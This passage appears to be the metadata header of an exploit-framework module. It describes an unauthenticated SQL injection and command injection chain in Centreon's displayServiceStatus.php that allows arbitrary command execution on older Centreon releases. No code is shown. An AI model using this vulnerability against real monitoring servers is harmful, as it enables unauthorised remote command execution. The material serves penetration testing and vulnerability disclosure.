'Name' => 'Centreon SQL and Command Injection',
'Description' => %q{
This module exploits several vulnerabilities on Centreon 2.5.1 and prior and Centreon
Enterprise Server 2.2 and prior. Due to a combination of SQL injection and command
injection in the displayServiceStatus.php component, it is possible to execute arbitrary
commands as long as there is a valid session registered in the centreon.session table.
In order to have a valid session, all it takes is a successful login from anybody.
The exploit itself does not require any authentication.
This module has been tested successfully on Centreon Enterprise Server 2.2.
